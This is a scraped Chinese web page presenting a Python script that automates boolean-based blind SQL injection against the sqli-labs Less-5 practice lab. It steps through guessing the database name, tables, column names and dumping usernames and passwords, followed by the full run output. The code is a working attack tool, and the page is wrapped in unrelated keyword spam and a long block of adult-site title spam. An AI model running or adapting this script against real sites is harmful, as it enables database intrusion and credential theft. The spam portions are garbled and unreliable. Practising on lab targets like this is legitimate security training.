婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁(yè) > 知識(shí)庫(kù) > python實(shí)現(xiàn)布爾型盲注的示例代碼

python實(shí)現(xiàn)布爾型盲注的示例代碼

熱門標(biāo)簽:房產(chǎn)電銷外呼系統(tǒng) 地圖制圖標(biāo)注位置改變是移位嗎 地圖標(biāo)注微信發(fā)送位置不顯示 浙江電銷卡外呼系統(tǒng)好用嗎 上海機(jī)器人外呼系統(tǒng)哪家好 315電話機(jī)器人廣告 地圖標(biāo)注的意義點(diǎn) 蓋州市地圖標(biāo)注 南京銷售外呼系統(tǒng)軟件

好久沒(méi)寫python了,就想著寫個(gè)簡(jiǎn)單的練練手,寫個(gè)布爾型盲注自動(dòng)化腳本,我覺(jué)得這個(gè)功能寫的非常全了,這里是參考sqli-labs里面的盲注漏洞進(jìn)行的腳本編寫。

腳本運(yùn)行時(shí)間:6分半左右

bool_sqlblind.py
# -*- coding:utf-8 -*-
# Author: mochu7
import requests

def ascii_str():#生成庫(kù)名表名字符所在的字符列表字典
 str_list=[]
 for i in range(33,127):#所有可顯示字符
  str_list.append(chr(i))
 #print('可顯示字符:%s'%str_list)
 return str_list#返回字符列表

def db_length(url,str):
 print("[-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名長(zhǎng)度.......")
 num=1
 while True:
  db_payload=url+"' and (length(database())=%d)--+"%num
  r=requests.get(db_payload)
  if str in r.text:
   db_length=num
   print("[+]數(shù)據(jù)庫(kù)長(zhǎng)度:%d\n"%db_length)
   db_name(db_length)#進(jìn)行下一步,測(cè)試庫(kù)名
   break
  else:
   num += 1

def db_name(db_length):
 print("[-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名.......")
 db_name=''
 str_list=ascii_str()
 for i in range(1,db_length+1):
  for j in str_list:
   db_payload=url+"' and (ord(mid(database(),%d,1))='%s')--+"%(i,ord(j))
   r=requests.get(db_payload)
   if str in r.text:
    db_name+=j
    break
 print("[+]數(shù)據(jù)庫(kù)名:%s\n"%db_name)
 tb_piece(db_name)#進(jìn)行下一步,測(cè)試security數(shù)據(jù)庫(kù)有幾張表
 return db_name
 
def tb_piece(db_name):
 print("開(kāi)始測(cè)試%s數(shù)據(jù)庫(kù)有幾張表........"%db_name)
 for i in range(100):#猜解庫(kù)中有多少?gòu)埍?,合理范圍即?
  tb_payload=url+"' and %d=(select count(table_name) from information_schema.tables where table_schema='%s')--+"%(i,db_name)
  r=requests.get(tb_payload)
  if str in r.text:
   tb_piece=i
   break
 print("[+]%s庫(kù)一共有%d張表\n"%(db_name,tb_piece))
 tb_name(db_name,tb_piece)#進(jìn)行下一步,猜解表名


def tb_name(db_name,tb_piece):
 print("[-]開(kāi)始猜解表名.......")
 table_list=[]
 for i in range(tb_piece):
  str_list=ascii_str()
  tb_length=0
  tb_name=''
  for j in range(1,20):#表名長(zhǎng)度,合理范圍即可
   tb_payload=url+"' and (select length(table_name) from information_schema.tables where table_schema=database() limit %d,1)=%d--+"%(i,j)
   r=requests.get(tb_payload)
   if str in r.text:
    tb_length=j
    print("第%d張表名長(zhǎng)度:%s"%(i+1,tb_length))
    for k in range(1,tb_length+1):#根據(jù)表名長(zhǎng)度進(jìn)行截取對(duì)比
     for l in str_list:
      tb_payload=url+"' and (select ord(mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1)))=%d--+"%(i,k,ord(l))
      r=requests.get(tb_payload)
      if str in r.text:
       tb_name+=l
    print("[+]:%s"%tb_name)
    table_list.append(tb_name)
    break
 print("\n[+]%s庫(kù)下的%s張表:%s\n"%(db_name,tb_piece,table_list))
 column_num(table_list,db_name)#進(jìn)行下一步,猜解每張表的字段數(shù)

def column_num(table_list,db_name):
 print("[-]開(kāi)始猜解每張表的字段數(shù):.......")
 column_num_list=[]
 for i in table_list:
  for j in range(30):#每張表的字段數(shù)量,合理范圍即可
   column_payload=url+"' and %d=(select count(column_name) from information_schema.columns where table_name='%s')--+"%(j,i)
   r=requests.get(column_payload)
   if str in r.text:
    column_num=j
    column_num_list.append(column_num)#把所有表的字段,依次放入這個(gè)列表當(dāng)中
    print("[+]%s表\t%s個(gè)字段"%(i,column_num))
    break
 print("\n[+]表對(duì)應(yīng)的字段數(shù):%s\n"%column_num_list)
 column_name(table_list,column_num_list,db_name)#進(jìn)行下一步,猜解每張表的字段名

def column_name(table_list,column_num_list,db_name):
 print("[-]開(kāi)始猜解每張表的字段名.......")
 column_length=[]
 str_list=ascii_str()
 column_name_list=[]
 for t in range(len(table_list)):#t在這里代表每張表的列表索引位置
  print("\n[+]%s表的字段:"%table_list[t])
  for i in range(column_num_list[t]):#i表示每張表的字段數(shù)量
   column_name=''
   for j in range(1,21):#j表示每個(gè)字段的長(zhǎng)度
    column_name_length=url+"' and %d=(select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)--+"%(j-1,table_list[t],i)
    r=requests.get(column_name_length)
    if str in r.text:
     column_length.append(j)
     break
    for k in str_list:#k表示我們猜解的字符字典
     column_payload=url+"' and ord(mid((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1))=%d--+"%(table_list[t],i,j,ord(k))
     r=requests.get(column_payload)
     if str in r.text:
      column_name+=k
   print('[+]:%s'%column_name)
   column_name_list.append(column_name)
 #print(column_name_list)#輸出所有表中的字段名到一個(gè)列表中
 dump_data(table_list,column_name_list,db_name)#進(jìn)行最后一步,輸出指定字段的數(shù)據(jù)

def dump_data(table_list,column_name_list,db_name):
 print("\n[-]對(duì)%s表的%s字段進(jìn)行爆破.......\n"%(table_list[3],column_name_list[9:12]))
 str_list=ascii_str()
 for i in column_name_list[9:12]:#id,username,password字段
  for j in range(101):#j表示有多少條數(shù)據(jù),合理范圍即可
   data_num_payload=url+"' and (select count(%s) from %s.%s)=%d--+"%(i,db_name,table_list[3],j)
   r=requests.get(data_num_payload)
   if str in r.text:
    data_num=j
    break
  print("\n[+]%s表中的%s字段有以下%s條數(shù)據(jù):"%(table_list[3],i,data_num))
  for k in range(data_num):
   data_len=0
   dump_data=''
   for l in range(1,21):#l表示每條數(shù)據(jù)的長(zhǎng)度,合理范圍即可
    data_len_payload=url+"' and ascii(substr((select %s from %s.%s limit %d,1),%d,1))--+"%(i,db_name,table_list[3],k,l)
    r=requests.get(data_len_payload)
    if str not in r.text:
     data_len=l-1
     for x in range(1,data_len+1):#x表示每條數(shù)據(jù)的實(shí)際范圍,作為mid截取的范圍
      for y in str_list:
       data_payload=url+"' and ord(mid((select %s from %s.%s limit %d,1),%d,1))=%d--+"%(i,db_name,table_list[3],k,x,ord(y))
       r=requests.get(data_payload)
       if str in r.text:
        dump_data+=y
        break
     break
   print('[+]%s'%dump_data)#輸出每條數(shù)據(jù)



if __name__ == '__main__':
 url="http://127.0.0.1/sqli-labs/Less-5/?id=1"#目標(biāo)url
 str="You are in"#布爾型盲注的truefalse的判斷因素
 db_length(url,str)#程序入口

運(yùn)行結(jié)果

PS C:\Users\Administrator\Desktop> python3 .\bool_sqlblind.py                                                                                                                                                                                [-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名長(zhǎng)度.......
[+]數(shù)據(jù)庫(kù)長(zhǎng)度:8

[-]開(kāi)始測(cè)試數(shù)據(jù)庫(kù)名.......
[+]數(shù)據(jù)庫(kù)名:security

開(kāi)始測(cè)試security數(shù)據(jù)庫(kù)有幾張表........
[+]security庫(kù)一共有4張表

[-]開(kāi)始猜解表名.......
第1張表名長(zhǎng)度:6
[+]:emails
第2張表名長(zhǎng)度:8
[+]:referers
第3張表名長(zhǎng)度:7
[+]:uagents
第4張表名長(zhǎng)度:5
[+]:users

[+]security庫(kù)下的4張表:['emails', 'referers', 'uagents', 'users']

[-]開(kāi)始猜解每張表的字段數(shù):.......
[+]emails表     2個(gè)字段
[+]referers表   3個(gè)字段
[+]uagents表    4個(gè)字段
[+]users表      7個(gè)字段

[+]表對(duì)應(yīng)的字段數(shù):[2, 3, 4, 7]

[-]開(kāi)始猜解每張表的字段名.......

[+]emails表的字段:
[+]:id
[+]:email_id

[+]referers表的字段:
[+]:id
[+]:referer
[+]:ip_address

[+]uagents表的字段:
[+]:id
[+]:uagent
[+]:ip_address
[+]:username

[+]users表的字段:
[+]:id
[+]:username
[+]:password
[+]:level
[+]:id
[+]:username
[+]:password

[-]對(duì)users表的['id', 'username', 'password']字段進(jìn)行爆破.......


[+]users表中的id字段有以下13條數(shù)據(jù):
[+]1
[+]2
[+]3
[+]4
[+]5
[+]6
[+]7
[+]8
[+]9
[+]10
[+]11
[+]12
[+]14

[+]users表中的username字段有以下13條數(shù)據(jù):
[+]Dumb
[+]Angelina
[+]Dummy
[+]secure
[+]stupid
[+]superman
[+]batman
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dhakkan
[+]admin4

[+]users表中的password字段有以下13條數(shù)據(jù):
[+]Dumb
[+]I-kill-you
[+]p@ssword
[+]crappy
[+]stupidity
[+]genious
[+]mob!le
[+]admin
[+]admin1
[+]admin2
[+]admin3
[+]dumbo
[+]admin4
PS C:\Users\Administrator\Desktop> 

到此這篇關(guān)于python實(shí)現(xiàn)布爾型盲注的示例代碼的文章就介紹到這了,更多相關(guān)python布爾盲注內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

您可能感興趣的文章:
  • 在python中對(duì)于bool布爾值的取反操作
  • python argparse傳入布爾參數(shù)false不生效的解決
  • 速記Python布爾值
  • Python整型運(yùn)算之布爾型、標(biāo)準(zhǔn)整型、長(zhǎng)整型操作示例
  • python 布爾操作實(shí)現(xiàn)代碼

標(biāo)簽:貴州 日照 臨汾 金華 赤峰 克拉瑪依 陽(yáng)泉 雙鴨山

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《python實(shí)現(xiàn)布爾型盲注的示例代碼》,本文關(guān)鍵詞  python,實(shí)現(xiàn),布爾型,盲注,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《python實(shí)現(xiàn)布爾型盲注的示例代碼》相關(guān)的同類信息!
  • 本頁(yè)收集關(guān)于python實(shí)現(xiàn)布爾型盲注的示例代碼的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    gogogo免费视频观看亚洲一| 欧美日韩日日夜夜| 日韩一区二区三区视频在线 | 99精品欧美一区| 精彩视频一区二区| 国产一区二区三区免费在线观看| 中文字幕一区二| 1000部国产精品成人观看| 国产精品国产三级国产a| 亚洲男同性恋视频| 一区二区成人在线视频| 日本亚洲免费观看| 免费成人在线影院| 国产成人夜色高潮福利影视| 久久国产欧美日韩精品| 成人app网站| 欧美精品色一区二区三区| 日韩一区二区电影在线| 午夜免费久久看| 日产欧产美韩系列久久99| 久久99热国产| 91视频在线观看| 精品久久久久久久人人人人传媒| 国产精品护士白丝一区av| 夜夜精品视频一区二区 | 亚洲视频你懂的| 久久精品国产免费| 欧美精品日韩综合在线| 国产精品三级电影| 久久久91精品国产一区二区精品 | 日日夜夜精品视频免费| 国产亚洲精品bt天堂精选| 91官网在线观看| 狠狠久久亚洲欧美| 精品一区二区三区久久久| 日日骚欧美日韩| 精品国产网站在线观看| 欧美日韩日本视频| 国产盗摄女厕一区二区三区| 亚洲免费观看视频| 精品乱人伦小说| 欧美视频日韩视频在线观看| 欧美在线观看一区二区| 成人综合婷婷国产精品久久免费| 日韩黄色小视频| 成人中文字幕电影| 欧美一级日韩免费不卡| 欧美老肥妇做.爰bbww视频| 在线播放国产精品二区一二区四区| 精品国产乱码久久久久久牛牛| 亚洲柠檬福利资源导航| 蜜桃久久久久久| 日本韩国一区二区| 国产精品欧美经典| 国产精品中文有码| 欧美日韩国产高清一区二区三区 | 久久久久久一级片| 99久久精品免费| 亚洲最大的成人av| 精品国产乱码久久久久久闺蜜| 久久精品国产第一区二区三区| 久久久国产午夜精品| 国产98色在线|日韩| 亚洲chinese男男1069| 精品在线一区二区三区| 精品国产露脸精彩对白| 蜜臀av性久久久久蜜臀av麻豆| 粉嫩aⅴ一区二区三区四区五区| 欧美亚洲国产一卡| 亚洲精品一二三四区| 国产呦精品一区二区三区网站| 91精品午夜视频| 日韩电影免费在线观看网站| 91精品福利视频| 亚洲色图丝袜美腿| 日本大香伊一区二区三区| 椎名由奈av一区二区三区| 不卡一区中文字幕| 亚洲国产成人va在线观看天堂 | 国产精品乱码妇女bbbb| 91小视频免费看| 日韩中文字幕亚洲一区二区va在线| 一本久久精品一区二区| 日韩国产成人精品| 国产女主播一区| 日韩美女在线视频| 久久国产夜色精品鲁鲁99| 久久精品在线免费观看| 97se亚洲国产综合在线| 国产suv一区二区三区88区| 国产精品久久久久一区二区三区共| 91精彩视频在线观看| 精品一区二区三区免费毛片爱 | 久久免费看少妇高潮| 7777精品伊人久久久大香线蕉| 国产一区91精品张津瑜| 秋霞影院一区二区| 一区二区三区美女| 一区二区三区美女视频| 亚洲婷婷综合久久一本伊一区| 国产精品午夜电影| 国产精品国产自产拍高清av | 制服丝袜在线91| 日韩欧美久久久| 亚洲国产成人午夜在线一区| 国产精品日日摸夜夜摸av| 国产精品不卡视频| 亚洲午夜久久久久久久久久久 | 91精品国产入口| 精品国产电影一区二区 | 欧美α欧美αv大片| 久久久精品免费网站| 久久久久久久久久看片| 久久精品亚洲国产奇米99| 夜夜嗨av一区二区三区中文字幕 | 美女视频黄久久| 欧美日韩在线不卡| 中文字幕一区二区三区不卡在线 | 久久aⅴ国产欧美74aaa| 国产精品一区二区久久不卡| 国产永久精品大片wwwapp| 国产a级毛片一区| 成人免费高清视频| 在线免费观看成人短视频| 91精品办公室少妇高潮对白| 成人午夜电影网站| 日本道色综合久久| 91精品国产色综合久久| 3d成人动漫网站| 国产精品国产a| 国产精品黄色在线观看| 一区二区三区在线观看动漫| 老司机午夜精品99久久| 国产在线精品免费| 99国产精品久久久久久久久久久| 色香蕉成人二区免费| 久久精品亚洲一区二区三区浴池| 亚洲五月六月丁香激情| 久久国产生活片100| 欧美年轻男男videosbes| 国产欧美日本一区二区三区| 亚洲精品高清在线观看| 精品夜夜嗨av一区二区三区| 欧美性xxxxxxxx| 亚洲天堂中文字幕| 不卡欧美aaaaa| 综合久久国产九一剧情麻豆| 成年人网站91| 一区二区三区日韩精品视频| 91亚洲男人天堂| 国产精品久线在线观看| 国产成人精品免费| 国产色91在线| 成人激情视频网站| 亚洲人xxxx| 欧美一区二区三区在线观看 | 91精品国产综合久久久久久漫画 | 成人免费av在线| 亚洲蜜臀av乱码久久精品蜜桃| 91久久国产最好的精华液| 国产目拍亚洲精品99久久精品| 99免费精品视频| 亚洲欧美在线观看| 精品国产青草久久久久福利| 激情五月播播久久久精品| 久久女同互慰一区二区三区| 丁香婷婷综合激情五月色| 亚洲精品一二三| 91精品国产欧美一区二区18| 国产九色sp调教91| 视频在线观看一区二区三区| 欧美成人bangbros| 成人午夜av电影| 香蕉乱码成人久久天堂爱免费| 一色屋精品亚洲香蕉网站| 欧美日韩国产美| 91日韩在线专区| 一区二区三区影院| 亚洲精品视频在线| 日韩视频永久免费| 欧美亚洲综合久久| 欧美亚洲愉拍一区二区| 国产精品中文字幕欧美| 日韩精品一卡二卡三卡四卡无卡| 亚洲免费高清视频在线| 久久九九全国免费| jizz一区二区| 国产成人午夜99999| 国产精品自拍三区| 国产精品羞羞答答xxdd| 欧美a级一区二区| 日日欢夜夜爽一区| 中文字幕一区在线观看视频| 一区二区三区**美女毛片| 日韩avvvv在线播放| 午夜精品久久久久久久久久久| 日韩不卡手机在线v区| 日韩成人午夜电影| 国产另类ts人妖一区二区| 97久久精品人人做人人爽|